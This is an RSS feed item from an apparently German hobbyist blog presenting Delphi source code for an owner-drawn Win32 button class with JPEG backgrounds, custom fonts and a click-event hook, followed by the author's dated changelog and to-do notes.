(* Beispiel:                                                                   *<br />
*                                                                             *<br />
* procedure Test(Sender: Pointer);                                            *<br />
* begin                                                                       *<br />
*    MessageBox(0, PChar(TX000XBtn(Sender).Caption), &#8216;Test&#8217;, 0);              *<br />
* end;                                                                        *<br />
*                                                                             *<br />
* // ..                                                                       *<br />
*                                                                             *<br />
*    Button3         := TX000XBtn.Create(hWnd, Position);                     *<br />
*    Button3.OnClick := Button3.SetNotifyEvent(@Test);                        *<br />
*                                                                             *<br />
* // ..                                                                       *<br />
*                                                                             *<br />
*******************************************************************************)<br />
function TX000XBtn.SetNotifyEvent(Proc: Pointer): TNotifyEvent;<br />
begin<br />
Result := nil;<br />
if Assigned(Proc) then<br />
Result := TNotifyEvent(SetMethod(Proc));<br />
end;</p>
<p>(* Zeichnet den Button *)<br />
procedure TX000XBtn.ButtonDraw(ps : PPaintStruct = nil);<br />
type<br />
PHDC = ^HDC;<br />
var<br />
Brush   : HBRUSH;<br />
dc      : PHDC;<br />
cRect   : PRect;<br />
begin<br />
(* Initialisieren *)<br />
dc     := nil;<br />
cRect  := nil;<br />
try<br />
(* Wenn ps &lt;&gt; nil dann benutzen wir HDC und Rect von der �bergebenen *)<br />
(* PaintStruct *)<br />
if Assigned(ps) then begin<br />
cRect := @ps^.rcPaint;<br />
dc    := @ps^.hdc;<br />
end else begin<br />
(* Wenn ps = nil dann die Vars erzeugen und Zeiger zuweisen *)<br />
New(dc); New(cRect);<br />
(* und display device context vom Button holen *)<br />
dc^ := GetDC(FHandle);<br />
end;</p>
<p>(* cRect mit Abmessungen vom Button f�llen *)<br />
GetClientRect(FHandle, cRect^);<br />
(* Brush mit Farbe FColor erzeugen *)<br />
Brush  := CreateSolidBrush(FColor);<br />
(* F�lle Button mit FColor *)<br />
FillRect(dc^, cRect^, Brush);<br />
(* zum Schluss Freigeben der Resourcen *)<br />
DeleteObject(Brush);<br />
if FJpeg &lt;&gt; &#8221; then begin<br />
(* Kopiere das Bitmap vom Speicher auf den Button (mit Gr��enanpassung) *)<br />
if FBtnState = bsDown then<br />
StretchBlt(dc^, 5, 5, cRect^.Right-10, cRect^.Bottom-10, FdcMemory, 0, 0, CWIDTH, CHEIGHT, SRCCOPY)<br />
else<br />
StretchBlt(dc^, 3, 3, cRect^.Right-6, cRect^.Bottom-6, FdcMemory, 0, 0, CWIDTH, CHEIGHT, SRCCOPY);<br />
end;</p>
<p>(* Button gedr�ckt bzw. oben&#8230; dementsprechend die R�nder zeichen *)<br />
if FBtnState = bsDown then<br />
DrawEdge(dc^, cRect^, EDGE_SUNKEN, BF_RECT)<br />
else<br />
DrawEdge(dc^, cRect^, EDGE_RAISED, BF_RECT );</p>
<p>(* Um bei die Textausgabe auch zu animieren, hier das Rechteck versetzen *)<br />
if FBtnState = bsDown then begin<br />
cRect^.Left   := -2;<br />
cRect^.Top    := -2;<br />
cRect^.Right  := cRect^.Right &#8211; 2;<br />
cRect^.Bottom := cRect^.Bottom &#8211; 2;<br />
end;</p>
<p>(* Textausgabe *)<br />
SelectObject(dc^, FFont);<br />
SetBKMode(dc^, {OPAQUE}TRANSPARENT);<br />
SetTextAlign(dc^, TA_CENTER);<br />
SetTextColor(dc^, FFontColor);<br />
TextOut(dc^, cRect^.Right div 2, cRect^.Top + 6, Pointer(Self.Caption), Length(Self.Caption));</p>
<p>(* FocusRect zeichnen, wenn Button den Focus besitzt *)<br />
if FIsFocused then begin<br />
if FBtnState = bsDown then begin<br />
cRect^.Left   := -1;<br />
cRect^.Top    := -1;<br />
InflateRect(cRect^, -4, -4);<br />
DrawFocusRect(dc^, cRect^);<br />
end else begin<br />
cRect^.Right  := cRect^.Right +1;<br />
cRect^.Bottom := cRect^.Bottom +1;<br />
InflateRect(cRect^, -5, -5);<br />
DrawFocusRect(dc^, cRect^);<br />
end;<br />
end;<br />
finally<br />
(* Wenn ps nil war, haben wir ja Speicher reserviert, den wir jetzt freigeben *)<br />
if Not Assigned(ps) then begin<br />
Dispose(cRect);<br />
ReleaseDC(FHandle, dc^);<br />
Dispose(dc);<br />
end;<br />
end;<br />
end;</p>
<p>(* Initialisieren der Variablen und Erstellen des Buttons; zuweisen der WndProc *)<br />
constructor TX000XBtn.Create(hWndParent: THandle; Position: TPoint);<br />
var TmpHwnd : THandle;<br />
i       : Integer;<br />
begin<br />
{$IFDEF ATOM}<br />
FAtom := GlobalAddAtom(&#8216;X000XBtn&#8217;);<br />
{$ELSE}<br />
FWinProp  := GetMemory(SizeOf(TWinProperty));<br />
FillChar(FWinProp^, SizeOf(TWinProperty), #0);<br />
{$ENDIF}</p>
<p>FOnClick   := nil;<br />
FBtnState  := bsUp;<br />
FOwner     := hWndParent;<br />
FLeft      := Position.X;<br />
FTop       := Position.Y;<br />
FWidth     := CWIDTH;<br />
FHeight    := CHEIGHT;<br />
FIsFocused := False;<br />
FColor     := $00656059; //$00D4A062;<br />
FJpeg      := &#8221;;<br />
FdcMemory  := 0;<br />
FFontName  := &#8216;Courier New&#8217;;<br />
FFontColor := $00FFFFFF;<br />
FFontSize  := -12;<br />
FFont      := CreateFont(FFontSize, 0, 0, 0, FW_NORMAL, 0, 0, 0, ANSI_CHARSET,<br />
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,<br />
DEFAULT_PITCH, Pointer(FFontName));<br />
i          := 1;<br />
(* Alle bisher erstellten Buttons z�hlen, damit der Defaultname durch-     *)<br />
(* nummeriert gesetzt werden kann. z.B. Button1, Button2 usw.              *)<br />
//EnumChildWindows(hWndParent)<br />
TmpHwnd    := FindWindowEx(Self.FOwner, 0, &#8216;BUTTON&#8217;, nil);<br />
while (TmpHwnd &lt;&gt; 0) do begin<br />
TmpHwnd := FindWindowEx(Self.FOwner, TmpHwnd, &#8216;BUTTON&#8217;, nil);<br />
inc(i)<br />
end;<br />
FName    := &#8216;X000XButton&#8217; + IntToStr(i);</p>
<p>FCaption := FName;<br />
(* Erstellen des Fensters *)<br />
FHandle  := CreateWindowEx(0, &#8216;BUTTON&#8217;, Pointer(FName), WS_VISIBLE or WS_CHILD or BS_OWNERDRAW or BS_CENTER,<br />
FLeft, FTop,<br />
FWidth, FHeight, hWndParent, 0, hInstance, nil);</p>
<p>(* Neue WndProc f�r dieses Fenster setzen und dabei den Zeiger auf die     *)<br />
(* originale WndProc merken (Entweder im Fenster selber, bzw. als Property *)<br />
(* (zu Identifizieren �ber FAtom) *)<br />
FOldWndProc := Pointer(SetWindowLong(FHandle, GWL_WNDPROC, Integer(@SetWndProc)));</p>
<p>{$IFDEF ATOM}<br />
SetProp(FHandle, PChar(FAtom), Cardinal(Self));<br />
{$ELSE}<br />
FWinProp.Self     := Self;</p>
<p>SetWindowLong(FHandle, GWL_USERDATA, Integer(FWinProp));<br />
{$ENDIF}<br />
end;</p>
<p>(* Reservierten Speicher etc. frei geben, Fenster zerst�ren *)<br />
destructor TX000XBtn.Destroy;<br />
begin<br />
(* Schriftenhandle freigeben *)<br />
DeleteObject(FFont);</p>
<p>(* MemoryDC wieder freigeben *)<br />
if FdcMemory &lt;&gt; 0 then<br />
DeleteDc(FdcMemory);</p>
<p>{$IFDEF ATOM}<br />
(* Zuerst die WndProc vom Mainwindow wieder benutzen, damit wir *)<br />
(* gefahrlos das Property entfernen k�nnen&#8230;                   *)<br />
(*   ( Unsere BtnWndProc w�rde das Property ja ben�tigen, um    *)<br />
(*     das Fenster zu zerst�ren )                               *)<br />
SetWindowLongPtr(FHandle, GWLP_WNDPROC, Integer(FOldWndProc));<br />
(* Jetzt k�nnen wir auch gefahrlos das Property entfernen, es   *)<br />
(* wird ja nicht mehr gebraucht                                 *)<br />
RemoveProp(FHandle, PChar(FAtom));<br />
{$ENDIF}</p>
<p>(* Handle/Fenster zerst�ren *)<br />
DestroyWindow(FHandle);</p>
<p>{$IFDEF ATOM}<br />
(* und zum Schluss auch noch den Referenzz�hler decrementieren *)<br />
(* bzw. das Atom aus der GlobalAtomTable l�schen *)<br />
GlobalDeleteAtom(FAtom);<br />
{$ELSE}<br />
FreeMemory(FWinProp);<br />
{$ENDIF}<br />
inherited;<br />
end;</p>
<p>(*******************************************************************************<br />
*                                                                             *<br />
* Folgende Funktionen dienen dem Setzen der Propertys und sind                *<br />
* selbsterkl�rend                                                             *<br />
*                                                                             *<br />
*******************************************************************************)<br />
function TX000XBtn.GetHeight: Integer;<br />
begin<br />
Result := FHeight;<br />
end;</p>
<p>function TX000XBtn.GetTabStop: Boolean;<br />
begin<br />
FTabSTop := (GetWindowLong(FHandle, GWL_STYLE) and WS_TABSTOP) = WS_TABSTOP;<br />
Result   := FTabStop;<br />
end;</p>
<p>function TX000XBtn.GetWidth: Integer;<br />
begin<br />
Result := FWidth;<br />
end;</p>
<p>procedure TX000XBtn.SetCaption(const Value: String);<br />
begin<br />
if FCaption &lt;&gt; Value then begin<br />
FCaption := Value;<br />
SendMessage(FHandle, WM_SETTEXT, 0, LPARAM(FCaption));<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetHeight(const Value: Integer);<br />
begin<br />
if FHeight &lt;&gt; Value then begin<br />
FHeight := Value;<br />
MoveWindow(FHandle, FLeft, FTop, FWidth, FHeight, True);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetTabStop(const Value: Boolean);<br />
begin<br />
if FTabStop &lt;&gt; Value then begin<br />
if Value then begin<br />
(* WS_TABSTOP setzen *)<br />
SetWindowLong(FHandle, GWL_STYLE, GetWindowLong(FHandle, GWL_STYLE) or WS_TABSTOP);<br />
end else<br />
(* WS_TABSTOP entfernen *)<br />
SetWindowLong(FHandle, GWL_STYLE, GetWindowLong(FHandle, GWL_STYLE) xor WS_TABSTOP);<br />
FTabStop := Value;<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetWidth(const Value: Integer);<br />
begin<br />
if FWidth &lt;&gt; Value then begin<br />
FWidth := Value;<br />
MoveWindow(FHandle, FLeft, FTop, FWidth, FHeight, True);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetColor(const Value: COLORREF);<br />
begin<br />
if Value &lt;&gt; FColor then begin<br />
FColor := Value;<br />
UpdateWindow(FHandle);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetupMemDC;<br />
var dc       : HDC;<br />
hBmp     : HBITMAP;<br />
begin<br />
(* Den MemDC nur einmal erstellen/initialisieren *)<br />
if FdcMemory = 0 then begin<br />
(* Erstelle &#8220;Zeichenger�t&#8221; im Speicher (kompatibel zur Anzeige) *)<br />
FdcMemory := CreateCompatibleDC(0);<br />
(* Hole Zeichenger�t vom Button *)<br />
dc        := GetDC(FHandle);<br />
(* Erstelle Bitmap (kompatibel zum Zeichenger�t des Buttons) *)<br />
hBmp      := CreateCompatibleBitmap(dc, FWidth, FHeight);<br />
(* wir wollen ein Bitmap im Speicher abbilden *)<br />
SelectObject(FdcMemory, hBmp);<br />
(* Das originale Bitmap brauchen wir nicht mehr, also freigeben *)<br />
DeleteObject(hBmp);<br />
(* Das Zeichenger�t vom Button auch nicht, also auch freigeben *)<br />
ReleaseDC(FHandle, dc);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.DrawFromMemDC(var pPic: IPicture);<br />
var<br />
hmWidth,<br />
hmHeight : Integer;<br />
rc       : TRect;<br />
begin<br />
if Assigned(pPic) then begin<br />
(* originale Ma�e vom Picture holen *)<br />
if (pPic.get_Width(hmWidth) = S_OK) then<br />
if (pPic.get_Height(hmHeight) = S_OK) then begin<br />
(* Ein Rechteck erstellen, mit den Abma�en vom Button *)<br />
GetWindowRect(FHandle, rc);<br />
(* und letztendlich das Bild &#8220;in den Speicher zeichnen&#8221; *)<br />
pPic.Render(FdcMemory, 0, 0, FWidth, FHeight, 0, hmHeight, hmWidth, -hmHeight, rc);<br />
(* damit gleich aktualisiert wird *)<br />
ButtonDraw;<br />
end;<br />
end;<br />
end;</p>
<p>procedure TX000XBtn._SetMemDCFromFile(const JpegFileName: String);<br />
var pPic     : IPicture;<br />
begin<br />
(* mit dem laden des Bildes anfangen *)<br />
if (LoadPictureFromFile(JpegFileName, pPic)) then begin<br />
SetupMemDC;<br />
DrawFromMemDC(pPic);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn._SetMemDCFromRes(const szResName: String);<br />
var pPic     : IPicture;<br />
begin<br />
(* mit dem laden des Bildes anfangen *)<br />
if (LoadPictureFromRes(hInstance, szResName, &#8216;JPEGDATA&#8217;, pPic)) then begin<br />
SetupMemDC;<br />
DrawFromMemDC(pPic);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetMemDCFromX(const szName: String);<br />
begin<br />
if FJpeg &lt;&gt; szName then begin<br />
FJpeg := szName;<br />
if FileExists(szName) then<br />
_SetMemDCFromFile(szName)<br />
else<br />
_SetMemDCFromRes(szName);<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetFontName(const Value: String);<br />
(* CallBack function von EnumFonts&#8230; Mit Hilfe des Typs TFontNameExists *)<br />
(* erkennen wir, ob die gew�nschte Schrifft �berhaupt verf�gbar ist *)<br />
function EnumFontsProc(var LogFont: TLogFont; var TextMetric: TTextMetric;<br />
FontType: Integer; Data: Pointer): Integer; stdcall;<br />
begin<br />
if lstrcmpi(Pointer(TFontNameExists(Data^).Name), LogFont.lfFaceName) = 0 then begin<br />
TFontNameExists(Data^).Exists := True;<br />
(* Der Name wurde gefunden, also aussteigen *)<br />
Result := 0;<br />
end else<br />
(* Der Name wurde noch nicht gefunden, also mit dem n�chsten Fontname weitermachen *)<br />
(* solange jedenfalls noch welche zum vergleichen da sind&#8230; *)<br />
Result := 1;<br />
end;<br />
var<br />
Tmp : PFontNameExists;<br />
dc  : HDC;<br />
begin<br />
if (FFontName &lt;&gt; Value) and (Value &lt;&gt; &#8221;) then begin<br />
(* Neue Variable erzeugen *)<br />
New(Tmp);<br />
try<br />
(* Unsren Typ mit dem Fontnamen den wir suchen f�llen *)<br />
Tmp.Name   := Value;<br />
(* und auf False setzen *)<br />
Tmp.Exists := False;<br />
dc := GetDC(0);<br />
(* steht hiernach die BooleanVar unsres Typs auf True, gibt es die Schrift im System *)<br />
EnumFonts(dc, nil, @EnumFontsProc, Pointer(Tmp));<br />
ReleaseDC(0, dc);<br />
(* und nur in diesem fall �ndern wir die Schrift *)<br />
if Tmp.Exists then begin<br />
(* Altes Object zerst�ren *)<br />
DeleteObject(FFont);<br />
(* Neuen Namen setzen *)<br />
FFontName := Value;<br />
(* und ein Handle auf die Schrift holen *)<br />
FFont := CreateFont(FFontSize, 0, 0, 0, FW_BOLD, 0, 0, 0, ANSI_CHARSET,<br />
OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,<br />
DEFAULT_PITCH, Pointer(FFontName));<br />
end;<br />
(* damit wir auch sofort was sehen, den Button neu zeichnen lassen *)<br />
ButtonDraw;<br />
finally<br />
(* Speicher von Tmp freigeben *)<br />
Dispose(Tmp);<br />
end;<br />
end;<br />
end;</p>
<p>procedure TX000XBtn.SetFontColor(const Value: COLORREF);<br />
begin<br />
if FFontColor &lt;&gt; Value then begin<br />
FFontColor := value;<br />
ButtonDraw;<br />
end;<br />
end;</p>
<p>{$WARNINGS OFF}<br />
end.<br />
(*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-08-18: X000XActiveX angef�gt, um Pictures in die Buttons laden zu<br />
*                k�nnen<br />
*                FJpeg eingef�hrt, d.h. dem Button kann jetzt ein Jpeg Image<br />
*                zugewiesen werden.<br />
*                Procedure ButtonDraw um FJpeg erweitert<br />
*    Kommentar:     X000XActiveX beinhaltet einen Teil der Delphi �bersetzung<br />
*                   von OCIDL.H bzw. OBJIDL.H speziell IPicture und IStream<br />
*                   wird aber dynamisch geladen.<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Der &#8220;Klick&#8221; gef�llt mir noch nicht (bei schnellen Mausklicks<br />
*                  wirkt der Klick verz�gert)<br />
*                &#8211; Bilder aus Resource (im Moment nur aus Datei)<br />
*                &#8211; OnMouseOver<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-08-15: Proceduren ButtonDraw und ButtonPaint zu einer zusammengefasst<br />
*                &#8211;&gt; ButtonDraw<br />
*    Kommentar:<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Bilder<br />
*                &#8211; OnMouseOver<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-08-14: Quelltext Kommentierung vervollst�ndigt, unn�tige Kommentare<br />
*                entfernt.<br />
*    Kommentar:<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Bilder<br />
*                &#8211; OnMouseOver<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-07-12: OnClick Ereignis kann jetzt von Aussen zugewiesen werden&#8230;<br />
*    Kommentar:     Endlich bin ich dazu mal gekommen, jetzt macht der ganze<br />
*                   Quatsch erst richtig Sinn&#8230;<br />
*                   procedure Test(Sender: Pointer);<br />
*                   begin<br />
*                      MessageBox(hWnd, PChar(TX000XBtn(Sender).Caption), &#8216;Test&#8217;, 0);<br />
*                   end;<br />
*<br />
*                   // ..<br />
*<br />
*                      Button3         := TX000XBtn.Create(hWnd, Position);<br />
*                      Button3.OnClick := Button3.SetNotifyEvent(@Test);<br />
*<br />
*                   // ..<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Bilder<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2005-01-17: FColor, FTabStop implementiert, hierbei ist der Standard<br />
*                Button rausgeflogen<br />
*    Kommentar:<br />
*    TODO:       &#8211; TabOrder<br />
*                &#8211; Bilder<br />
*                &#8211; Property BtnType der Art (Standard-, Color-, Paint-Button)<br />
*                &#8211; OnClick Ereignis von Au�en zuweisen<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2004-09-18: Das Speichern des Self-Pointers umgestellt.<br />
*                OldWndProc aus TWinProperty in den gesch�tzten Teil der Klasse<br />
*                gesteckt (FOldWndProc)<br />
*                Globale VAR FAtom eingef�hrt<br />
*                Anhand der Compilerdirective $DEFINE ATOM wird unterschieden,<br />
*                welche Variante zum speichern des Self-Pointers genutzt wird.<br />
*    Kommentar:    Der pointer wird jetzt nicht mehr in GWL_USERDATA gehalten,<br />
*                  sondern in der &#8220;Fenstereigenschaften Liste&#8221;<br />
*                  (siehe MSDN &#8212;&gt; Set/GetProp)<br />
*                  Den Zeiger auf die Originale WndProc brauchte ich nicht mehr<br />
*                  in TWinProperty speichern, da ich ja sowieso an die Klassen-<br />
*                  eigenschaften rankomme. Somit brauche ich nur einen Zeiger<br />
*                  mitf�hren, ich denke mal, die PropertyList ist genau daf�r<br />
*                  gedacht.<br />
*    TODO:       &#8211; OnClick Ereignis von Au�en zuweisen<br />
*                &#8211; Farben<br />
*                &#8211; Bilder<br />
*                &#8211; TabStop<br />
*                &#8211; TabOrder<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2004-09-16: Implementierung einer Fensterprocedure die anhand des Self-<br />
*                Pointers die richtige Objectinstanz erkennt&#8230; Jetzt macht die<br />
*                Klasse erst Sinn, da jetzt &#8220;unendlich&#8221; viele Buttons erzeugt<br />
*                und deren Messages verarbeitet werden k�nnen.<br />
*    Kommentar:    Zu jedem Fenster (Buttons sind auch nur Fenster) kann der<br />
*                  Entwickler einen eigenen 32-Bit Wert (4 Byte) abspeichern.<br />
*                       &#8212;&gt; Stichwort: GWL_USERDATA (siehe: MSDN) &lt;&#8212;<br />
*                  Solange das Fenster existiert, existiert auch dieser Wert.<br />
*                  Genau sowas hatte mir gefehlt, um an die Referenz des Objectes<br />
*                  zu kommen. Ich speicher jetzt einfach den Selfpointer und<br />
*                  den Pointer auf die Original WndProc in einer Struktur (siehe<br />
*                  TWinProperty). In dem Fenster selber speicher (s.o.) ich einen<br />
*                  Pointer auf diese Struktur. Somit bin ich in der Lage,<br />
*                  jeder Zeit an mein Object zu kommen, also auch in der WndProc.<br />
*    TODO:       &#8211; OnClick Ereignis von Au�en zuweisen<br />
*                &#8211; Farben<br />
*                &#8211; Bilder<br />
*                &#8211; TabStop<br />
*                &#8211; TabOrder<br />
*******************************************************************************<br />
*    Author:     Peter Welz<br />
*    2004-08-14: Erstellen der Klasse, Windows Standard-Button<br />
*    Kommentar:    Es kann bis jetzt nur ein Button erstellt werden, da die<br />
*                  Nachrichten f�r den Button noch nicht �ber die Klasse ge-<br />
*                  h�ndelt werden. Habe noch keinen Weg gefunden, wie ich<br />
*                  in der WndProc Funktion des Buttons an die Referenz des<br />
*                  Objektes rankomme.<br />
*    TODO:       &#8211; Eigene WndProc f�r die Klasse (WICHTIG, da sonst Sinnlos)<br />
*                &#8211; OnClick Ereignis von Au�en zuweisen<br />
*                &#8211; Farben<br />
*                &#8211; Bilder<br />
*                &#8211; TabStop<br />
*                &#8211; TabOrder<br />
*******************************************************************************)</p>
<p>Gefallen Euch meine sourcen &#8211; freue ich mich über Eure Spende  &#8211;  Danke!</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input type="hidden" name="cmd" value="_s-xclick"/>
<input type="hidden" name="hosted_button_id" value="2E5QQTZEJ3QCY"/>
<input type="image" src="https://www.paypalobjects.com/de_DE/DE/i/btn/btn_donate_SM.gif" border="0" name="submit" alt="Jetzt einfach, schnell und sicher online bezahlen – mit PayPal."/>
<img alt="" border="0" src="https://www.paypalobjects.com/de_DE/i/scr/pixel.gif" width="1" height="1"/><br />
</form>
]]></content:encoded>
			<wfw:commentRss>http://www.gods4u.de/x000x-btnpas/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

